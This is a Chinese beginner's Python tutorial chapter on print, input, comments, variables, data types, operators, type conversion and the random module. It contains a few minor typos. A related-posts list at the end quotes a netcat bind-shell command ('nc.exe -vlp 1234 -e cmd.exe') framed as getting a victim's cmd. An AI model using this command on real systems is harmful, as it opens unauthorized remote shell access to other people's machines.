2.1 第一条编程语句

print("Hello, Python!")
print("To be, or not to be, it's a question.")
print("To be, or not to be, it's up to you.")
print("Make it!")
print("以梦为马,不负韶华!")

2.2 print()函数

作用:在控制台打印信息;

>>> help(print)
Help on built-in function print in module builtins: print(...)
print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False) Prints the values to a stream, or to sys.stdout by default.
Optional keyword arguments:
file: a file-like object (stream); defaults to the current sys.stdout.
sep: string inserted between values, default a space.
end: string appended after the last value, default a newline.
flush: whether to forcibly flush the stream.

2.3 注释

  • 单行注释

    • 一个“#”
# 这是单行注释
  • 多行注释

    • 三单引号
    • 三双引号
'''
多行注释1
''' """
多行注释2
"""

demo:

print("Hello, Python!") # 第一条Python程序,向Python致敬!
print("To be, or not to be, it's a question.")
print("To be, or not to be, it's up to you.")
print("Make it!")
print("以梦为马,不负韶华!")
'''
让我们开始Python之旅,
畅行在Python之途!
'''

2.3 input()函数

作用:从外部获取值

用法:括号中可以提供提示信息

返回值为字符串类型

>>> a = input()
城市学院
>>> a
'城市学院'
>>> a = input("Please Enter School Info:")
Please Enter School Info:City College
>>> a
'City College'
>>>

20190716上午


2.4 运行Python程序的三种方式

(1) 解释器环境运行

C:\Users\King>python
Python 3.6.5 |Anaconda, Inc.| (default, Mar 29 2018, 13:32:41) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print("Hello,World")
Hello,World
>>>

(2) 脚本运行

C:\Users\King>python hello.py # 进入脚本对应的路径

或者

C:\Users\King>python d:hello.py # 进入脚本对应的路径

(3) IDE

  • pycharm
  • sublime
  • VS Code
  • Atom

集成开发环境通常整合了文本编辑器、集成的调试器等工具,支持各种源代码控制工具。

# -*- coding: utf-8 -*-
# 或者
#coding:utf-8

2.5 Python中常见的数据类型

数据的概念

计算机顾明思议就是可以做数学运算的机器,因此计算机理所当然的可以处理各种数据,但是计算机能处理的远远不止数值,还有文本,图形,音频,视频网页等各种数据, 不同数据,需要定义不同的数据类型

Python中的数据类型(常见)

  • 数字(number)

    • 整型(int)
    • 浮点型(float)
    • 布尔型(bool)
    • 复数(complex)
  • 字符串(string)
  • 列表(list)
  • 元组(tuple)
  • 字典(dict)
  • 集合(set)

2.6 变量和常量

变量

  • 概念:

    • 程序可操作的存储区的名称;
    • 程序运行时存储区中能够改变的数据;

    每个变量都有自己的特定的数据类型

  • 作用:

    • 将数据存储到内存
  • 变量的定义

    • 命名

    规则:

    • 必须是字母、下划线、数字组合
    • 不能以数字开头
    • 不可以是Python中的关键字

注意:

  • 见名知意
  • 区分大小写
  • 在Python中,单下划线和双下划綫开头的变量有特殊的通途,一般不推荐使用单下划线和双下划綫开头的变量名称
  • 变量定义

    • val_name = 初始值
      
      

拓展:

关键字的查看

>>> import keyword
>>> keyword.kwlist
['False', 'None', 'True', 'and', 'as', 'assert', 'break', 'class', 'continue', 'def', 'del', 'elif', 'else', 'except', 'finally', 'for', 'from', 'global', 'if',
'import', 'in', 'is', 'lambda', 'nonlocal', 'not', 'or', 'pass', 'raise', 'return', 'try', 'while', 'with', 'yield']

一下变量名称哪些是正确的,哪些是错误的?

666,错

City666,对

_56city,对

类型测试 type()

type(val_name)

内存地址 id()

id(val_name)

常量

常量即指不变的量,如pai 3.141592653..., 或在程序运行过程中不会改变的量。在Python中没有一个专门的语法代表常量,程序员约定俗成用变量名全部大写代表常量。

通常用大写,如

PI = 3.1415926

举例:

>>> a = 1
>>> b = 6.6
>>> c = "xyz"
>>> tp = 1, 2, 3
>>> x, y, z = tp
>>> x
1
>>> y
2
>>> z
3
>>> type(tp)
<class 'tuple'>
>>>
>>>
>>> a, b, c = 111, 222, 33
>>> a
111
>>> b
222
>>> c
33
>>> a = 111
>>> b = 222
>>> c = 333
>>> x = "abc"
>>> y = "def"
>>>
>>> z = x, y
>>> type(z)
<class 'tuple'>
>>>

互换两元素的值:

>>> a = 123
>>> b = 456
>>> tmp = a
>>> a = b
>>> b = tmp
>>>
>>> a
456
>>> b
123
>>>
>>> x = 123
>>> y = 456
>>> x, y = y, x
>>> x
456
>>> y
123

2.7 数字

种类

  • 整型(int)

    • 32bit,取值范围 \(-2^{31} - 2^{31}-1\)
    • 64bit,取值范围\(-2^{63} - 2^{63}-1\)

    以前Python区分短整型和长整型,目前,无这些区分。

  • 浮点型(float)

    • 带有小数点的数字
  • 布尔型(bool)

    • True
    • False
  • 复数(complex)

    • 实部 (cpx.real)
    • 虚部 (cpx.imag)
    • 共轭复数 (cpx.conjugate())

常见的数学函数

函数名 描述
abs(x) 绝对值
pow(x, y) \(x^y\)
round(x, [n]) 返回四舍五入的值,如果给出n,表明四舍五入后的小数点的位数
math.exp(x) 返回e的x次幂
math.fabs(x) 返回绝对值,类型为浮点数
math.ceil(x) 返回数字的上入整数
math.floor(x) 返回数字的下舍整数
math.log(x, [y]) 单参数,默认以e为底;双参数,以[y]为底
math.modf(x) 返回浮点数的小数部分和整数部分
math.sqrt(x) 平方根
\(max(x_1, x_2, ...)\) 返回最大值
\(min(x_1, x_2, ...)\) 返回最小值

2.8 表达式与运算符

  • 表达式

    • 由变量,常量和运算符组成的式子,成为表达式
  • 运算符

    • 算术运算符
    • 比较运算符
    • 逻辑运算符
    • 赋值运算符
    • 成员运算符
    • 身份运算符
    • 位运算符

Python算术运算符

运算符 描述 实例
+ 加 : 两个对象相加 a + b
- 减 :得到负数或是一个数减去另一个数 a - b
* 乘 : 两个数相乘或是返回一个被重复若干次的字符串 a * b
/ 除 : x 除以 y b / a
** 幂 : 返回x的y次幂 a**b
% 取模 : 返回除法的余数 b % a
// 取整除 : 向下取接近除数的整数 a//b

拓展:

divmod(x, y)

>>> divmod(23, 4)
(5, 3)
a = 6
b = 12
c = 0 c = a + b
print ("1: c 的值为:", c) c = a - b
print ("2: c 的值为:", c) c = a * b
print ("3: c 的值为:", c) c = a / b
print ("4: c 的值为:", c) c = a % b
print ("5 - c 的值为:", c) # 修改变量 a 、b 、c
a = 2
b = 3
c = a**b
print ("6 - c 的值为:", c) a = 10
b = 5
c = a//b
print ("7 - c 的值为:", c)

Python比较运算符

以下假设变量a为10,变量b为20:

运算符 描述 实例
== 等于 - 比较对象是否相等 (a == b) 返回 False。
!= 不等于 - 比较两个对象是否不相等 (a != b) 返回 True。
> 大于 - 返回x是否大于y (a > b) 返回 False。
< 小于 - 返回x是否小于y。所有比较运算符返回1表示真,返回0表示假。这分别与特殊的变量True和False等价。注意,这些变量名的大写。 (a < b) 返回 True。
>= 大于等于 - 返回x是否大于等于y。 (a >= b) 返回 False。
<= 小于等于 - 返回x是否小于等于y。 (a <= b) 返回 True。

Python赋值运算符

以下假设变量a为10,变量b为20:

运算符 描述 实例
= 简单的赋值运算符 c = a + b 将 a + b 的运算结果赋值为 c
+= 加法赋值运算符 c += a 等效于 c = c + a
-= 减法赋值运算符 c -= a 等效于 c = c - a
*= 乘法赋值运算符 c *= a 等效于 c = c * a
/= 除法赋值运算符 c /= a 等效于 c = c / a
%= 取模赋值运算符 c %= a 等效于 c = c % a
**= 幂赋值运算符 c**= a 等效于 c = c ** a
//= 取整除赋值运算符 c //= a 等效于 c = c // a

Python位运算符

运算符 描述
& 按位与运算符:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0
| 按位或运算符:只要对应的二个二进位有一个为1时,结果位就为1。
^ 按位异或运算符:当两对应的二进位相异时,结果为1
~ 按位取反运算符:对数据的每个二进制位取反,即把1变为0,把0变为1。~x 类似于 -x-1
<< 左移动运算符:运算数的各二进位全部左移若干位,由"<<"右边的数指定移动的位数,高位丢弃,低位补0。
>> 右移动运算符:把">>"左边的运算数的各二进位全部右移若干位,">>"右边的数指定移动的位数

下表中变量 a 为 31,b 为 15二进制格式如下:

a =    0001 1111
b = 0000 1111
----------------
a&b = 0000 1111
a|b = 0001 1111
a^b = 0001 0000
~a = 1110 0000
a<<2 = 0111 1100
a>>2 = 0000 0111
>>> a = 31
>>> b = 15
>>> a & b
15
>>> a | b
31
>>> a ^ b
16
>>> ~a
-32
>>> a << 2
124
>>> a >> 2
7

Python逻辑运算符

Python语言支持逻辑运算符,

运算符 逻辑表达式 描述
and x and y 布尔"与" - 如果 x 为 False,x and y 返回 False,否则它返回 y 的计算值。
or x or y 布尔"或" - 如果 x 是 True,它返回 x 的值,否则它返回 y 的计算值。
not not x 布尔"非" - 如果 x 为 True,返回 False 。如果 x 为 False,它返回 True。

同样仍以变量 a 为 31,b 为 15为例:

>>> a and b
15
>>> a or b
31
>>> not a
False

针对逻辑运算的进一步研究:

  1,在没有()的情况下not 优先级高于 and,and优先级高于or,即优先级关系为( )>not>and>or,同一优先级从左往右计算。

判断逻辑语句的正与负:

3>4 or 4<3 and 1==1 #
1 < 2 and 3 < 4 or 1>2 #
2 > 1 and 3 < 4 or 4 > 5 and 2 < 1 #
1 > 2 and 3 < 4 or 4 > 5 and 2 > 1 or 9 < 8 #
1 > 2 and 3 < 4 or 4 > 5 and 2 > 1 or 9 > 8 #
1 > 1 and 3 < 4 or 4 > 5 and 2 > 1 and 9 > 8 or 7 < 6 #
not 2 > 1 and 3 < 4 or 4 > 5 and 2 > 1 and 9 > 8 or 7 < 6#
3>4 or 4<3 and 1==1 #F
1 < 2 and 3 < 4 or 1>2 #T
2 > 1 and 3 < 4 or 4 > 5 and 2 < 1 #T
1 > 2 and 3 < 4 or 4 > 5 and 2 > 1 or 9 < 8 #F
1 > 2 and 3 < 4 or 4 > 5 and 2 > 1 or 9 > 8 #T
1 > 1 and 3 < 4 or 4 > 5 and 2 > 1 and 9 > 8 or 7 < 6 #F
not 2 > 1 and 3 < 4 or 4 > 5 and 2 > 1 and 9 > 8 or 7 < 6#F

python成员运算符

测试是否包含某个成员,一般测试字符串,列表,元组

运算符 描述
in 如果存在于指定序列中,返回True;否则,False
not in 如果不存在于指定序列中,返回True;否则,False

Demo:

>>> sr = "abc"
>>> "a" in sr
True
>>> "a" not in sr
False >>> li = list(sr)
>>> li
['a', 'b', 'c']
>>> "a" in li
True
>>>

python身份运算符

用于比较两个对象的存储单元

id()函数用于获取对象内存地址。

运算符 描述
is 判断两个标识符是不是引用自同一个对象
not is 判断两个标识符是不是引用自同一个对象

Python运算符优先级

以下表格列出了从最高到最低优先级的所有运算符:

运算符 描述
** 指数 (最高优先级)
~ + - 按位翻转, 一元加号和减号 (最后两个的方法名为 +@ 和 -@)
* / % // 乘,除,取模和取整除
+ - 加法减法
>> << 右移,左移运算符
& 位 'AND'
^ | 位运算符
<= < > >= 比较运算符
<> == != 等于运算符
= %= /= //= -= += *= **= 赋值运算符
is is not 身份运算符
in not in 成员运算符
not and or 逻辑运算符

2.9 数据类型的强制转换

强转类型 描述
int(x, [base]) 将x强制转化为整型。如果x是字符串,需要制定base基数
float(x) 将x转换为浮点型
str(x) 强转为字符串
repr(x) 将对象转换为表达式字符串
list(x) 将对象转换为列表
tuple(x) 将对象转换为元组
dict(x) 将对象转换为字典
set(x) 将对象转换为集合
chr(x) 将整数转化为字符
ord(x) 将字符转化为数值
bin(x) 转换为二进制
oct(x) 转换为八进制
hex(x) 转换为十六进制
# int
>>> a = 12.3
>>> int(a)
12
>>> sr = "123"
>>> int(sr)
123
>>> int(sr, 8)
83
>>> 8**2 + 2 * 8 + 3
83
>>> int(sr, 16)
291

拓展

小数据池

- 数字小数据池的范围 -5 ~ 256

- 字符串中如果有特殊字符他们的内存地址就不一样

- 字符串中单个*20以内他们的内存地址一样,单个*21以上内存地址不一致

>>> a1 = -6
>>> a2 = -6
>>> a1 == a2
True
>>> a1 is a2
False
>>>
>>> b1 = -5
>>> b2 = -5
>>> b1 == b2
True
>>> b1 is b2
True
>>>
>>>
>>> s1 = 'demo#'
>>> s2 = 'demo#'
>>> s1 == s2
True
>>> s1 is s2
False
>>> >>> for i in [19, 20, 21]:
... a = 'a'*i
... b = 'a'*i
... print(a == b)
... print(a is b)
...
True
False
True
False
True
False
>>> s1 = 'aaaaaaaaaaaaaaaaaaaa'
>>> s2 = 'aaaaaaaaaaaaaaaaaaaa'
>>> s1 is s2
True
>>> s2 = 'aaaaaaaaaaaaaaaaaaaaa'
>>> s1 = 'aaaaaaaaaaaaaaaaaaaaa'
>>> s1 is s2
True
>>>
# 第三条待考证

2.10 随机函数

导入这个模块

import random

random模块的常见功能:

(1) random.random()

  • 用来生成一个0-1的随机浮点数 [0, 1)
import random
# print(dir(random))
for i in range(100):
a = random.random()
print(a, end=" ")

(2) random.uniform(a, b)

  • 用来生成指定范围内的浮点数,[a, b]
import random
# print(dir(random))
for i in range(100):
a = random.uniform(6, 8)
print(a, end=" ")

(3) random.randint(a, b)

  • 用来生成指定范围内的整数,[a, b]
import random
# print(dir(random))
for i in range(100):
a = random.randint(6, 10)
print(a, end=" ")

(4) random.randrange([start], stop, [step])

  • 从指定范围内,按指定基数递增或者递减的集合中,随机获取一个整数

random.randrange(1, 16, 2)

1, 3, 5, 7, 9, 11, 13, 15

import random
for i in range(100):
a = random.randrange(1, 16, 2)
print(a, end=" ")

(5) random.choice(sequence)

  • 从序列中随机获取一个元素,sequence可以为列表,字符串或者元组
import random
for i in range(100):
# a = random.randrange(1, 16, 2)
b = random.choice(range(1, 16, 2))
print(b, end=" ")

(6) random.shuffle(x[, random])

  • 用来将一个列表的元素打乱。即将列表的元素随机排列。
import random
li = ["C Language", "C++", "Java", "VB", "C#", "Python"]
# sr = "C Language"
for i in range(6):
# a = random.randrange(1, 16, 2)
random.shuffle(li)
print(li)

(7) random.sample(sequence, k)

  • 用来从指定序列中随机获取指定长度的片段并随机排列。但,不会修改原来序列。
import random
li = ["C Language", "C++", "Java", "VB", "C#", "Python"]
for i in range(6):
print(random.sample(li, 4))

02_Python基础的更多相关文章

  1. 02_python基础(面向对象编程)

    面向对象编程: 把一组数据结构和处理它们的方法组成对象(object),把相同行为的对象归纳为类(class),通过类的封装(encapsulation)隐藏内部细节,通过继承(inheritance ...

  2. 【Python基础】02_Python中变量的输入输出

    1.变量的输入: input函数: input() input("请输入银行卡密码") password = input("请输入银行卡密码") 变量名 = i ...

  3. java基础集合经典训练题

    第一题:要求产生10个随机的字符串,每一个字符串互相不重复,每一个字符串中组成的字符(a-zA-Z0-9)也不相同,每个字符串长度为10; 分析:*1.看到这个题目,或许你脑海中会想到很多方法,比如判 ...

  4. node-webkit 环境搭建与基础demo

    首先去github上面下载(地址),具体更具自己的系统,我的是windows,这里只给出windows的做法 下载windows x64版本 下载之后解压,得到以下东西 为了方便,我们直接在这个目录中 ...

  5. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

  6. Golang, 以17个简短代码片段,切底弄懂 channel 基础

    (原创出处为本博客:http://www.cnblogs.com/linguanh/) 前序: 因为打算自己搞个基于Golang的IM服务器,所以复习了下之前一直没怎么使用的协程.管道等高并发编程知识 ...

  7. [C#] C# 基础回顾 - 匿名方法

    C# 基础回顾 - 匿名方法 目录 简介 匿名方法的参数使用范围 委托示例 简介 在 C# 2.0 之前的版本中,我们创建委托的唯一形式 -- 命名方法. 而 C# 2.0 -- 引进了匿名方法,在 ...

  8. HTTPS 互联网世界的安全基础

    近一年公司在努力推进全站的 HTTPS 化,作为负责应用系统的我们,在配合这个趋势的过程中,顺便也就想去搞清楚 HTTP 后面的这个 S 到底是个什么含义?有什么作用?带来了哪些影响?毕竟以前也就只是 ...

  9. Swift与C#的基础语法比较

    背景: 这两天不小心看了一下Swift的基础语法,感觉既然看了,还是写一下笔记,留个痕迹~ 总体而言,感觉Swift是一种前后端多种语言混合的产物~~~ 做为一名.NET阵营人士,少少多多总喜欢通过对 ...

随机推荐

  1. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  2. 精尽Spring MVC源码分析 - RequestToViewNameTranslator 组件

    该系列文档是本人在学习 Spring MVC 的源码过程中总结下来的,可能对读者不太友好,请结合我的源码注释 Spring MVC 源码分析 GitHub 地址 进行阅读 Spring 版本:5.2. ...

  3. Autofac的基本使用---3、泛型类型

    Autofac的基本使用---目录 准备 使用的表是Teacher,创建相关的IDAL.DAL.IBLL.BLL层. 使用EF,创建一个Model层,存放edmx文件. 创建一个Infrastruct ...

  4. [.NET] - EventSource类的使用

    EventSource类: 这个类是在.NET 4.5新推出的一个类,用来提供创建事件用于 Windows 事件跟踪的功能 (ETW).在之前如果要配置一个Event Tracing for Wind ...

  5. matplotlib学习日记(三)------简单统计图

    (一)函数bar()---------绘制柱状图 import matplotlib as mpl import matplotlib.pyplot as plt mpl.rcParams[" ...

  6. JPA 缓存

    JPA有两种类型的缓存: EntityManager自身就是一种缓存.事务中从数据库获取的和写入到数据库的数据会被缓存(什么样的数据会被缓存,在后面有介绍).在一个程序中也许会有很多个不同的Entit ...

  7. [leetcode]508. Most Frequent Subtree Sum二叉树中出现最多的值

    遍历二叉树,用map记录sum出现的次数,每一个新的节点都统计一次. 遍历完就统计map中出现最多的sum Map<Integer,Integer> map = new HashMap&l ...

  8. Spark Streaming 与Filnk对比分析

    转:https://mp.weixin.qq.com/s/jllAegJMYh_by95FhHt0jA

  9. [不止于代码]Unraid基本使用速记

    1.Unraid简介 Unraid是一个虚拟机系统,类似于VM.PVE,但又区别于前二者.通过Unraid的Dokcer可以快速构建类Nas及虚拟机环境,也可虚拟黑群晖使用,可以使用磁盘阵列,保护你的 ...

  10. APACHE如何里一个站点绑定多个域名?用ServerAlias 转

    APACHE2如何里一个站点绑定多个域名?用ServerAlias以前很笨,要使多个域名指向同一站点总是这样写:<VirtualHost *:80>ServerAdmin i@kuigg. ...